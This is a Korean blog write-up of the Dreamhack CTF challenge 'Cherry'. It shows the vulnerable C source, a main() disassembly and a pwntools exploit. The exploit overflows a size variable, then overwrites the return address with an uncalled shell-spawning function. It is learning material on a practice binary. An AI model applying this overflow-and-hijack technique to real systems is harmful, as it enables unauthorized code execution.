rsp-∞

[Dreamhack CTF Season 4 Round #6] Cherry 본문

Write-ups/system

[Dreamhack CTF Season 4 Round #6] Cherry

portrait.kim 2024. 11. 19. 15:36
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void flag() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}



int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    char fruit[0x6] = "cherry";
    int buf_size = 0x10;
    char buf[0x6];

    initialize();

    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }

    return 0;
}

 

문제 설명에는 플래그가 flag.txt에 적혀 있다는 정보만 얻을 수 있다. 위는 문제의 전체 c 코드이다.

 

가장 먼저 정의된 initialize() 함수를 보면 프로그램이 30초 동안 실행되지 않으면 종료되도록 하고 있다. 이것 말고 별로 볼 건 없다. 다음 flag() 함수를 보면 execve 명령어를 통해 /bin/sh 쉘을 실행하도록 하고 있다. 그러나 이하 코드를 살펴보면 flag() 함수를 직접 호출하는 코드는 존재하지 않는다. flag() 함수를 실행시킬 방법이 따로 있을 것이다.

 

main() 함수를 살펴보자. 사용자의 입력을 총 두 번 받는다. fruit이라는 이름의 배열은 크기 0x6으로 먼저 지정되고, 초기값으로 'cherry'를 가진다. 밑의 코드에서는 buf_size와 buf 배열이 등장하는데, 실제 buf 배열의 크기보다 buf_size의 크기가 더 크다. initialize 이하로 가장 먼저 등장하는 read 명령어를 보자. 첫 read에서 buf_size 크기만큼 입력값을 읽어 buf 배열에 저장하고, 두 번째 read에서(사용자가 cherry를 입력한 경우) 문자열이 출력되고 또 한 번 입력을 받고 그 값을 읽어 fruit에 저장된다. 사용자의 입력을 buf 배열로 읽어 오는데, 사용자의 입력이 담길 buf_size가 배열보다 크기가 큰 0x10이다. 여기서 버퍼 오버 플로우가 발생할 수 있음을 알 수 있다. buf와 fruit 배열이 각각 6바이트로 선언되어 있는 반면 읽어 오는 입력값의 최대 크기가 0x10, 즉 16바이트이므로 스택 데이터를 덮어쓸 수 있다. RET가 flag를 가리키도록 하면 된다.

 

pwndbg> disassemble main
Dump of assembler code for function main:
  0x00000000004012fe <+0>: endbr64
  0x0000000000401302 <+4>: push   rbp
  0x0000000000401303 <+5>: mov    rbp,rsp
  0x0000000000401306 <+8>: sub    rsp,0x30
  0x000000000040130a <+12>: mov    DWORD PTR [rbp-0x24],edi
  0x000000000040130d <+15>: mov    QWORD PTR [rbp-0x30],rsi
  0x0000000000401311 <+19>: mov    DWORD PTR [rbp-0x4],0x0
  0x0000000000401318 <+26>: mov    DWORD PTR [rbp-0x8],0x1
  0x000000000040131f <+33>: mov    DWORD PTR [rbp-0x12],0x72656863
  0x0000000000401326 <+40>: mov    WORD PTR [rbp-0xe],0x7972
  0x000000000040132c <+46>: mov    DWORD PTR [rbp-0xc],0x10
  0x0000000000401333 <+53>: mov    eax,0x0
  0x0000000000401338 <+58>: call   0x401257 <initialize>
  0x000000000040133d <+63>: mov    eax,DWORD PTR [rbp-0x8]
  0x0000000000401340 <+66>: mov    edx,0x6
  0x0000000000401345 <+71>: lea    rcx,[rip+0xcc9]        # 0x402015
  0x000000000040134c <+78>: mov    rsi,rcx
  0x000000000040134f <+81>: mov    edi,eax
  0x0000000000401351 <+83>: call   0x4010e0 <write@plt>
  0x0000000000401356 <+88>: mov    eax,DWORD PTR [rbp-0xc]
  0x0000000000401359 <+91>: movsxd rdx,eax
  0x000000000040135c <+94>: lea    rcx,[rbp-0x18]
  0x0000000000401360 <+98>: mov    eax,DWORD PTR [rbp-0x4]
  0x0000000000401363 <+101>: mov    rsi,rcx
  0x0000000000401366 <+104>: mov    edi,eax
  0x0000000000401368 <+106>: call   0x401100 <read@plt>
  0x000000000040136d <+111>: lea    rax,[rbp-0x18]
  0x0000000000401371 <+115>: mov    edx,0x6
  0x0000000000401376 <+120>: lea    rcx,[rip+0xc9f]        # 0x40201c
  0x000000000040137d <+127>: mov    rsi,rcx
  0x0000000000401380 <+130>: mov    rdi,rax
  0x0000000000401383 <+133>: call   0x4010c0 <strncmp@plt>
  0x0000000000401388 <+138>: test   eax,eax
  0x000000000040138a <+140>: jne    0x4013bc <main+190>
  0x000000000040138c <+142>: mov    eax,DWORD PTR [rbp-0x8]
  0x000000000040138f <+145>: mov    edx,0xf
  0x0000000000401394 <+150>: lea    rcx,[rip+0xc88]        # 0x402023
  0x000000000040139b <+157>: mov    rsi,rcx
  0x000000000040139e <+160>: mov    edi,eax
  0x00000000004013a0 <+162>: call   0x4010e0 <write@plt>
  0x00000000004013a5 <+167>: mov    eax,DWORD PTR [rbp-0xc]
  0x00000000004013a8 <+170>: movsxd rdx,eax
  0x00000000004013ab <+173>: lea    rcx,[rbp-0x12]
  0x00000000004013af <+177>: mov    eax,DWORD PTR [rbp-0x4]
  0x00000000004013b2 <+180>: mov    rsi,rcx
  0x00000000004013b5 <+183>: mov    edi,eax
  0x00000000004013b7 <+185>: call   0x401100 <read@plt>
  0x00000000004013bc <+190>: mov    eax,0x0
  0x00000000004013c1 <+195>: leave
  0x00000000004013c2 <+196>: ret
End of assembler dump.

 

main을 디스어셈블한 결과이다. +19부터 변수를 초기화하고 있는데, 파일 디스크립터인 stdin_fd = 0과 stdout_fd = 1을 차례로 스택에 집어넣고 있다. +33과 +40은 각각 cherry를 'cher'과 'ry'로 나누어 저장하고 있는 것이고, +46에서 0x10은 buf_size를 16으로 초기화하고 있다. 이 부분에서 우리가 스택 프레임을 그려 볼 수 있을 것 같다.

 

 

첫 번째 read를 통해 buf에서 입력을 받으면 buf_size까지 덮을 수 있다. buf_size에 버퍼 오버플로우가 발생하면 두 번째 입력에서 ret이 있는 곳까지 똑같은 공격을 수행할 수 있다. 

from pwn import *

p = remote('host3.dreamhack.games', _____)
e = ELF('./chall')

flag = e.symbols['flag']

payload = b'cherry' + b'A'*6 + b'100'

p.sendafter(b'Menu: ', payload)

payload = b'A'*26 + p64(flag)

p.sendafter(b'Is it cherry?: ', payload)

p.interactive()

 

위와 같이 익스플로잇 코드를 작성했다. 처음 payload를 초기화하고 보낼 때 cherry는 buf의 값을 검증하는 과정을 뛰어넘기 위해서이고, A는 임의의 데이터로 fruit 배열을 채운다. 뒤에 b'100'은 앞선 연산으로 인해 buf와 fruit 배열이 모두 가득 찼으므로 buf_size의 값을 100으로 설정한다. 그래야 두 번째 입력에 보낼 페이로드에서 A라는 임의의 데이터를 26개 보내고 읽어들일 수 있을 것이다.

 

다른 분들 라이트업을 참고하면서 처음에는 왜 두 번째 입력에서 페이로드로 임의의 문자를 26개 보내는지 이해가 가지 않았는데, 생각해 보니 두 번째 입력을 fruit에 저장하고 읽어 오기 때문에 fruit에서부터 RBP 영역을 모두 채운다고 생각하면 각 크기의 총합이 26이라서였다....!

'Write-ups > system' 카테고리의 다른 글

[Dreamhack CTF Season 5 Round #2] bof  (0) 2024.11.26
[Dreamhack CTF Season 3 Round #6] mmapped  (0) 2024.11.26
[Dreamhack CTF Season 1 Round #4] cmd_center  (0) 2024.11.14
[DreamHack] rop  (0) 2024.05.25
[DreamHack] Return to Library  (0) 2024.05.25